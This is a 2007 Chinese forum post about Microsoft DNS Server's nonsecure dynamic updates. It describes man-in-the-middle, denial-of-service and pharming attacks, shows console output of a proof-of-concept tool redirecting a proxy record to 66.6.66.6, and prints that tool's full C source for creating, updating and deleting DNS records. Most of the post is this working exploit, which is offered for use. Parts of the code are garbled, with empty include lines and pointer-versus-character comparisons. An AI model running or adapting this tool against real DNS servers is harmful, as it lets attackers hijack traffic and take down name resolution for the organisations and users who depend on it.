站长论坛

标题: 针对微软DNS Server动态升级漏洞的解析 [打印本页]

作者: tznktg    时间: 2007-10-8 19:39
标题: 针对微软DNS Server动态升级漏洞的解析
在系统设定下,大多数微软DNS服务的每个DNS记录都整合了允许非安全的动态升级的动态目录索引。这项功能能够允许远程用户创建修改和删除DNS记录。

这是基于此的几个攻击说明:

+ MITM 攻击:修改DNS记录。

这种攻击方式是最可靠的,同时也允许我们为许多Windows软件开发自动升级和同时修改二进制数。

+ 服务的拒绝:通过删除修改关键性的DNS记录。

+ Pharm:类似于MITM攻击,可以使许多DNS记录中毒。

DNS爱好者们就是利用那些薄弱的软件设置环节进行对DNS记录的修改。这里有些做过的例子,请大家参考:
  1. D:\DNSfun>ping -n 1 FakeProxy.fooooo.com
  2. Haciendo ping a FakeProxy.fooooo.com [66.6.66.6] con 32 bytes de datos:
  3.       
  4. D:\DNSfun>dnsfun.exe -s 10.100.1.1 -q  proxy.mydomain -u 66.6.66.6
  5. Microsoft Dynamic DNS Updates - Proof of Concept
  6. http://www.514.es - (c) 2007 Andres Tarasco Acu?a
  7.       
  8. [+] Trying to resolve Host: proxy.mydomain (Dns Server 10.100.1.1)
  9. [+] Host proxy.mydomain resolved as 192.168.1.200
  10. [+] Trying to set ip address of the host proxy.mydomain to 66.6.66.6
  11. [+] Trying Nonsecure Dynamic Update...
  12. [?] Host Updated. Checking...(0)
  13. [+] Host proxy.mydomain resolved as 66.6.66.6

  14. D:\DNSfun>dnsfun.exe -s 10.100.1.1 -cc atarasco.mydomain.com -u www.514.es
  15. Microsoft Dynamic DNS Updates - Proof of Concept
  16. http://www.514.es - (c) 2007 Andres Tarasco Acu?a

  17. [+] Gathering Credentials..
  18. [+] Creating DNS CName Record for atarasco.mydomain.com (www.514.es)
  19. [+] Host Created. Rechecking Record...
  20. [+] Host atarasco.mydomain.com resolved as CNAME www.514.es
复制代码
这虽然已经不是一个新的漏洞,但是很多人还是没有发现利用它。检查惯用函数,你会发现很多新功能:
  1. */
  2. #include  
  3. #include  
  4. #include  
  5. #pragma comment(lib,"Dnsapi.lib")
  6. #pragma comment(lib, "ws2_32.lib")

  7. char TargetDnsServer[256]=""; // -s
  8. char TargetDnsRecord[256]=""; // -q
  9. char NewIpAddress[256]="";    // -i
  10. char DeleteDnsRecord[256]=""; //-d
  11. char CreateDnsRecord[256]="";

  12. WORD CreationType=DNS_TYPE_A;

  13. #define DELETERECORD   (DeleteDnsRecord[0]!='\0')
  14. #define UPDATERECORD ( (TargetDnsRecord[0]!='\0') && (NewIpAddress[0]!='\0') )
  15. #define CREATERECORD ( (CreateDnsRecord[0]!='\0') && (NewIpAddress[0]!='\0') )
  16. #define QUERYRECORD    (TargetDnsRecord[0]!='\0')
  17. #define _DBG_
  18. #undef _DBG_

  19. void usage(char *argv[]);


  20. DNS_RECORDA *DnsQueryA(char *name,IP4_ARRAY *servers)
  21. {
  22.    
  23.    DNS_STATUS status;
  24.    WORD type= DNS_TYPE_ANY;
  25.    DWORD fOptions=DNS_QUERY_BYPASS_CACHE | DNS_QUERY_NO_LOCAL_NAME
  26. |DNS_QUERY_NO_HOSTS_FILE | DNS_QUERY_NO_NETBT |

  27. DNS_QUERY_TREAT_AS_FQDN;
  28.    PVOID* reserved=NULL;
  29.    DNS_RECORDA *records=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));
  30.    DNS_RECORDA *result;
  31.    IN_ADDR ipaddr;
  32.    int i;
  33.    int count=0;         
  34.    
  35.    if (!name) {
  36.       return (NULL);
  37.    } else {
  38.       memset(records,'\0',sizeof(DNS_RECORDA));
  39.       status = DnsQuery_A( name,          //PCWSTR pszName,
  40.          type,          //WORD wType,
  41.          fOptions,      //DWORD fOptions,
  42.          servers,       //PIP4_ARRAY aipServers,
  43.          (DNS_RECORDA**)&records,    //PDNS_RECORD* ppQueryResultsSet,
  44.          reserved ); //PVOID* pReserved
  45.       
  46.       if (status == ERROR_SUCCESS)
  47.       {
  48.          fflush(stdout);
  49.          result=records;
  50.          do {
  51. #ifdef _DBG_     
  52.             printf("[+] Record %i---\n",count);
  53.             count++;
  54.             printf("[+] DNS  wDataLength %i\n",result->wDataLength);
  55.             printf("[+] DNS Flags DW: %x\n",result->Flags.DW);
  56.             printf("[+] DNS Flags S.Section: %x\n",result->Flags.S.Section);
  57.             printf("[+] DNS Flags S.Delete: %x\n",result->Flags.S.Delete);
  58.             printf("[+] DNS Flags S.CharSet: %x\n",result->Flags.S.CharSet);
  59.             printf("[+] DNS Flags S.Unused: %x\n",result->Flags.S.Unused);
  60.             printf("[+] DNS Flags S.Reserved: %x\n",result->Flags.S.Reserved);
  61. #endif
  62.             switch (result->wType) {
  63.             case DNS_TYPE_A:
  64.                ipaddr.S_un.S_addr = (result->Data.A.IpAddress);
  65.                printf("[+] Host %s resolved as %s\n", result->pName,inet_ntoa(ipaddr));
  66.                break;
  67.             case DNS_TYPE_NS:
  68.                printf("[+] Domain %s Dns Servers: %s\n",result->pName,result->Data.Ns.pNameHost);
  69.                break;
  70.             case DNS_TYPE_CNAME:
  71.                printf("[+] Host %s resolved as CNAME %s\n", result->pName,result-
  72. >Data.Cname.pNameHost);
  73.                //DnsQueryA(result->Data.Cname.pNameHost,servers);
  74.                break;
  75.                
  76.             case DNS_TYPE_SOA:
  77.                printf("[+] SOA Information: PrimaryServer: %s\n",result-
  78. >Data.Soa.pNamePrimaryServer);
  79.                printf("[+] SOA Information: Administrator: %s\n",result-
  80. >Data.Soa.pNameAdministrator);
  81.                printf("[+] SOA Information: SerialNo %x - Refresh %i - retry %i - Expire %
  82. i - DefaultTld %i\n",
  83.                   result->Data.Soa.dwSerialNo,
  84.                   result->Data.Soa.dwRefresh,
  85.                   result->Data.Soa.dwRetry,
  86.                   result->Data.Soa.dwExpire,
  87.                   result->Data.Soa.dwDefaultTtl);
  88.                break;
  89.                
  90.             case DNS_TYPE_MX:
  91.                printf("[+] %s MX Server resolved as %s (Preference %i)\n", result-
  92. >pName,result->Data.Mx.pNameExchange,

  93. result->Data.Mx.wPreference);
  94.                break;

  95.             case DNS_TYPE_TEXT:
  96.                printf("[+] Text: %i bytes\n",result->Data.Txt.dwStringCount); //:?
  97.                break;

  98.             case DNS_TYPE_SRV:
  99.                printf("[+] SRV Record. NameTarget %s ",result->Data.Srv.pNameTarget);
  100.                printf("(Priority %i - Port %i - Weigth:

  101. %i)\n",result->Data.Srv.wPriority,result->Data.Srv.wPort,result->Data.Srv.wWeight);
  102.                //printf("[+] Resource Pad %i \n",result->Data.Srv.Pad);
  103.                break;
  104.                
  105.             default:
  106.                printf("[-] DnsQuery returned unknown wtype %x\n",result->wType);
  107.                break;
  108.             }
  109.             result=result->pNext;
  110.          } while (result!=NULL);
  111.       } else {
  112.          if (status==9003) printf("[-] Record not found\n");
  113.          else printf("[-] Query Error: %i - %i\n",status,GetLastError());
  114.          exit(-1);
  115.       }
  116.    }
  117.    return records;
  118. }
  119. /***********************************************************************************************/
  120. int main(int argc, char *argv[]) {
  121.    
  122.    HANDLE creds;
  123.    DNS_RECORDA *result;
  124.    DNS_STATUS status;
  125.    
  126.    HANDLE ContextHandle;
  127.    DWORD Options=DNS_UPDATE_SECURITY_ON;
  128.    PVOID pReserved=NULL;
  129.    IN_ADDR ipaddr;
  130.    IP4_ARRAY *servers=NULL;
  131.    SEC_WINNT_AUTH_IDENTITY_A *Credentials=NULL;
  132.    WORD i;
  133.       
  134.    printf(" Microsoft Dynamic DNS Updates - Proof of Concept\n");
  135.    printf(" http://www.514.es - (c) 2007 Andres Tarasco Acu?a\n\n");
  136.    if (argc==1) usage(argv);
  137.       
  138.    //Init Credentials Struct
  139.    Credentials = (SEC_WINNT_AUTH_IDENTITY_A *)malloc(sizeof(SEC_WINNT_AUTH_IDENTITY_A));
  140.    memset(Credentials,'\0',sizeof(SEC_WINNT_AUTH_IDENTITY_A));
  141.    Credentials->Flags=SEC_WINNT_AUTH_IDENTITY_ANSI;   
  142.    for(i=1;i<argc;i++) {
  143.       if ( (argv[0]=='-') ) {
  144.          switch (argv[1]) {
  145.          case 's':
  146.          case 'S':
  147.             strcpy(TargetDnsServer,argv[i+1]);
  148.             servers=(PIP4_ARRAY)malloc(sizeof(IP4_ARRAY));
  149.             servers->AddrCount=1;
  150.             servers->AddrArray[0]=inet_addr(TargetDnsServer);
  151.             break;
  152.          case 'D':
  153.          case 'd':
  154.             strcpy(DeleteDnsRecord,argv[i+1]);
  155.             break;                     
  156.          case 'q':
  157.          case 'Q':
  158.             strcpy(TargetDnsRecord,argv[i+1]);
  159.             break;
  160.          case 'u':
  161.          case 'U':
  162.             strcpy(NewIpAddress,argv[i+1]);
  163.             break;
  164.          case 'c':
  165.          case 'C':
  166.             strcpy(CreateDnsRecord,argv[i+1]);
  167.             if (NewIpAddress[0]=='\0') strcpy(NewIpAddress,"127.0.0.1");
  168.             if (argv[2]!='\0') {
  169.                switch (argv[2]) {
  170.                case 'c': CreationType=DNS_TYPE_CNAME;
  171.                   break;
  172.                case 'a': CreationType=DNS_TYPE_A;
  173.                   break;
  174.                }
  175.             }
  176.             break;           
  177.             /*
  178.             case 'f':
  179.                CreateThread( NULL,0,HttpRelayToProxy,(LPVOID) &i,0,&dwThreadId);
  180.                break;
  181.             case 'au': //Uauthorization serName
  182.             Credentials->User=argv[i+1]; Credentials->UserLength=strlen(argv[i+1]);   
  183. break;
  184.             case 'ap':
  185.             Credentials->Password=argv[i+1];Credentials->PasswordLength=strlen(argv
  186. [i+1]); break;
  187.             case 'ad':
  188.             Credentials->Domain=argv[i+1]; Credentials->DomainLength=strlen(argv[i+1]);  
  189. break;     
  190.             */
  191.          default:
  192.             printf("[-] Invalid argument: %s\n",argv);
  193.             usage(argv);
  194.             break;
  195.          }
  196.          i++;            
  197.       } else usage(argv);
  198.    }
  199.    
  200.    printf("[+] Gathering Credentials..\n");
  201.    //http://msdn2.microsoft.com/en-us/library/ms682007.aspx
  202.    if (Credentials->UserLength==0) {
  203.       status=DnsAcquireContextHandle(FALSE,NULL,&ContextHandle); //Context with default
  204. Credentials
  205.    } else {
  206.       status=DnsAcquireContextHandle(FALSE,Credentials,&ContextHandle); //Context with
  207. Custom Credentials
  208.    }
  209.    
  210.    if (status == ERROR_SUCCESS) {           
  211.       if (CREATERECORD) {
  212.          
  213.          result=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));
  214.          memset(result,'\0',sizeof(DNS_RECORDA));
  215.          result->wType=CreationType; //DNS_TYPE_A by default
  216.          if (CreationType==DNS_TYPE_CNAME) {
  217.             printf("[+] Creating DNS CName Record for %s (%s)
  218. \n",CreateDnsRecord,NewIpAddress);
  219.             result->Data.Cname.pNameHost=NewIpAddress;
  220.          } else {
  221.             printf("[+] Creating DNS A Record for %s (%s)\n",CreateDnsRecord,NewIpAddress);
  222.             result->Data.A.IpAddress=inet_addr(NewIpAddress);
  223.          }
  224.          result->pName=CreateDnsRecord;
  225.          result->wDataLength=4;
  226.          result->Flags.S.Section=1;
  227.          result->Flags.S.CharSet=DnsCharSetAnsi;
  228.          result->pNext=NULL;      

  229.          status=DnsModifyRecordsInSet_A(result,  //add record
  230.             NULL, //delete record
  231.             Options,
  232.             ContextHandle,
  233.             servers,
  234.             NULL);
  235.          if (status ==ERROR_SUCCESS) {
  236.             printf("[+] Host Created. Rechecking Record...\n");
  237.             DnsRecordListFree(result,DnsFreeRecordList);
  238.             result=DnsQueryA(CreateDnsRecord,servers);
  239.          } else {
  240.             printf("[-] Error: Unable to create  %s (%i)\n",CreateDnsRecord,status);
  241.          }      
  242.       } else if (DELETERECORD) {         
  243.          printf("[+] Trying to resolve Host: %s before deleting\n",DeleteDnsRecord);
  244.          result=DnsQueryA(DeleteDnsRecord,servers);
  245.          if (result!=NULL) {
  246.             printf("[+] Trying to Delete Record. Are You Sure? (Y/N)...");
  247.             i=getchar(); if (i!='y') return(-1);
  248.             printf("[+] Deleting record %s\n",DeleteDnsRecord);   
  249.             status=DnsModifyRecordsInSet_A(NULL,  //add record
  250.                result, //delete record
  251.                Options,
  252.                ContextHandle,
  253.                servers,
  254.                NULL);      
  255.             if (status ==ERROR_SUCCESS) {
  256.                printf("[+] Host Deleted. Rechecking Record %s...\n",DeleteDnsRecord);
  257.                DnsRecordListFree(result,DnsFreeRecordList);
  258.                result=DnsQueryA(DeleteDnsRecord,servers);
  259.             } else {
  260.                printf("[-] Error: Unable to Delete %s\n",DeleteDnsRecord);
  261.             }
  262.          } else {
  263.             printf("[-] Host %s not found\n",DeleteDnsRecord);
  264.          }

  265.       } else if (UPDATERECORD) {
  266.          //         exit(1);
  267.          printf("[+] Trying to resolve Host: %s before updating\n",TargetDnsRecord);
  268.          result=DnsQueryA(TargetDnsRecord,servers);
  269.          if (result->wType==DNS_TYPE_A ) {
  270.             printf("[+] Trying to update record. Are You Sure? (Y/N)...");
  271.             i=getchar(); if (i!='y') return(-1);
  272.             result->Data.A.IpAddress=inet_addr(NewIpAddress);//Modify Dns record
  273.             ipaddr.S_un.S_addr = (result->Data.A.IpAddress);
  274.             printf("[+] Trying to set ip address of the host %s to %s \n",

  275. TargetDnsRecord,NewIpAddress);//inet_ntoa(ipaddr));
  276.             printf("[+] Trying to Modify Record...\n");
  277.             status=DnsReplaceRecordSetA(result,
  278.                Options, //Attempts nonsecure dynamic update. If refused, then attempts
  279. secure dynamic update.
  280.                ContextHandle,
  281.                servers,//pServerList,
  282.                NULL);//pReserved
  283.             if (status ==ERROR_SUCCESS) {
  284.                printf("[+] Host Updated. Rechecking Record...\n");
  285.                DnsRecordListFree(result,DnsFreeRecordList);
  286.                result=DnsQueryA(TargetDnsRecord,servers);
  287.             } else {
  288.                printf("[-] Error: Unable to Delete %s\n",TargetDnsRecord);
  289.             }

  290.          } else {
  291.             printf("[-] Unable to Update Record (Type %x)\n",result->wType);
  292.             }
  293.       } else if (QUERYRECORD) {
  294.          printf("[+] Query Information for host %s...\n",TargetDnsRecord);
  295.          result=DnsQueryA(TargetDnsRecord,servers);
  296.          DnsRecordListFree(result,DnsFreeRecordList);         
  297.       } else {
  298.          printf("[-] Unknown Options\n");
  299.          return(-1);
  300.       }           
  301.    } else {
  302.       printf("[-] Error Calling DnsAcquireContextHandle\n");   
  303.    }
  304.    return (1);
  305. }

  306. /****************************************************************************/
  307. void usage(char *argv[]) {   
  308.    printf(" Usage:\n");
  309.    printf("\t%s\t -[s]d|c|q \n",argv[0]);
  310.    printf(" Details:\n");   
  311.    printf("\t%s\t -s  ip        (dns Server (optional))\n",argv[0]);
  312.    printf("\t%s\t -d  fqdn      (Delete dns record)\n",argv[0]);
  313.    printf("\t%s\t -q  fqdn      (Query  dns record)\n",argv[0]);
  314.    printf("\t%s\t -c[a|c] ip    (Create A or CName record (default A))\n",argv[0]);
  315.    printf("\t%s\t -u  ip|fqdn   (Update dns record (requires -q or -c))\n",argv[0]);   
  316.    printf("\n Examples:\n");
  317.    printf("\t%s -s 10.0.0.1 -q proxy.mydomain.com -u 5.1.4.77 (Updates record)\n",argv
  318. [0]);
  319.    printf("\t%s -s 10.0.0.1 -d foo.mydomain.com      (delete foo.mydomain.com record)
  320. \n",argv[0]);
  321.    printf("\t%s -s 10.0.0.1 -c atarasco.foo.mydomain.com -u 5.14.7.7 (creates record)
  322. \n",argv[0]);
  323.    printf("\t%s -s 10.0.0.1 -cc www.atarasco.foo.mydomain.com -u 5.14.7.7 (creates record)
  324. \n",argv[0]);
  325.    printf("\t%s -s 10.0.0.1 -q _ldap._tcp.mydomain             (Query for srv record)
  326. \n",argv[0]);
  327.    exit(0);
  328. }
  329. /****************************************************************************/
复制代码





欢迎光临 站长论坛 (http://tzlink.com/bbs/) Powered by Discuz! X3.2